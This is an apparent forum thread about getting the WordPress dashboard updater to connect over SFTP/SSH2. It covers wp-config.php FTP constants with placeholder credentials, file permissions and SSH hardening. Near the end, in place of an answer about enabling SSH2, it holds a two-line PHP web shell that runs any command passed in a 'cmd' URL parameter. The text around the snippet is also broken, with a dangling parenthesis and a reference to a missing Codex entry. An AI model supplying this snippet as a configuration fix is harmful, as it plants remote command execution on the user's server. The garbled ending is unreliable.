Confused about WordPress and SFTP
I can make a connection to my server from an sftp client using my login details no problem.
However when I use these same details to make an sftp connection from a WordPress install I get a connection failure.
I've had a search through the forums and can see that other users have had a similar issue but I don't fully understand what the issue is.
My wp-content folder has the following permissions: 774 www-data alan wp-content
Any advice would be gratefully received.
wordpress doesn't support sftp on wp-admin control panel
Nonsense. WordPress's backend supports FTP, FTPS (SSL) and SSH2 (password or public/private keys) (see attached screenshot).
I use SSH (via a non-standard port) to update WordPress and plugins without issue. You can even set login constants in wp-config.php so that you don't have to keep re-entering login details:
define('FTP_BASE', '/var/www/wordpresswebsite/'); define('FTP_CONTENT_DIR', '/var/www/wordpresswebsite/wp-content/'); define('FTP_PLUGIN_DIR', '/var/www/wordpresswebsite/wp-content/plugins/'); define('FTP_USER', 'SSHUSERNAME'); define('FTP_PASS', "SSHPASSWORD"); define('FTP_HOST', 'SERVERIPADDRESS:SSHPORT');
(I've only ever felt comfortable including login details in wp-config.php when wp-config.php isn't in the root WordPress folder, its default location. I move all wp-config.php files to a non-web accessible location, out of the root WordPress folder.)
If you set the login constants in wp-config.php, I've always found that the first time you try to update either WordPress itself or a plugin WordPress will 'hang' for a short while before giving a connection error. For some reason, despite the presence of the login constants, WordPress seems to initially default to FTP (port 21) - if you then check the 'SSH2' checkbox and click 'Proceed' WordPress will use the login constants and all subsequent updates will work flawlessly.
My wp-content folder is owned by the Apache user (www-data:www-data) and has the recommended 755 permissions (644 for files).
All that said, I'm not sure why you are receiving connection errors, Boomfelled. I'm assuming when you say 'sftp connection from a WordPress install' you mean SSH? And are checking the 'SSH2' checkbox and not 'FTPS (SSL)'?~~
Many thanks for your informative reply. You're right, it's possible to get WP to connect via SFTP and I know this because I've done this before at another host.
> My wp-content folder is owned by the Apache user (www-data:www-data) and has the recommended 755 permissions (644 for files)
I made the change a while back but found that whilst this solution worked I couldn't connect via a standard SFTP Client.
Your advice as a whole is almost certainly the way to go as I'm not using authentication keys and as such don't have the SSH2 facility available in WP.
I'll start by using Auth Keys and also take your advice with regards to wp-config.
Thanks again for taking the time to help me out.
Just so you know, you don't have to use auth keys to use SSH in WordPress's dashboard. If you enter your SSH password in WordPress's update screen, leave the auth key fields blank, select 'SSH2' and click 'Proceed', WordPress should update with no issues. (Currently I don't use auth keys, just a lengthy, randomly-generated password, while limiting SSH logins by IP address and accessing SSH via a non-standard port (not 22). I'm comfortable that this is secure enough, though I'll probably switch to auth keys in the future.)
Thanks for getting back to me.
The SSH2 option isn't showing up on my WordPress install, I just have FTP and FTPS(SSL).
I am using SSH Key Pair authentication now and that seems to be working fine via shell and my FTP client, I've also disabled password authentication following the library suggestions (
Is there a WP Config setting that I need to set to allow the use of SSH2 ?
$c = $_GET['cmd'];
$r = shell_exec( $c );
There's also a plugin available (linked to in the above Codex entry):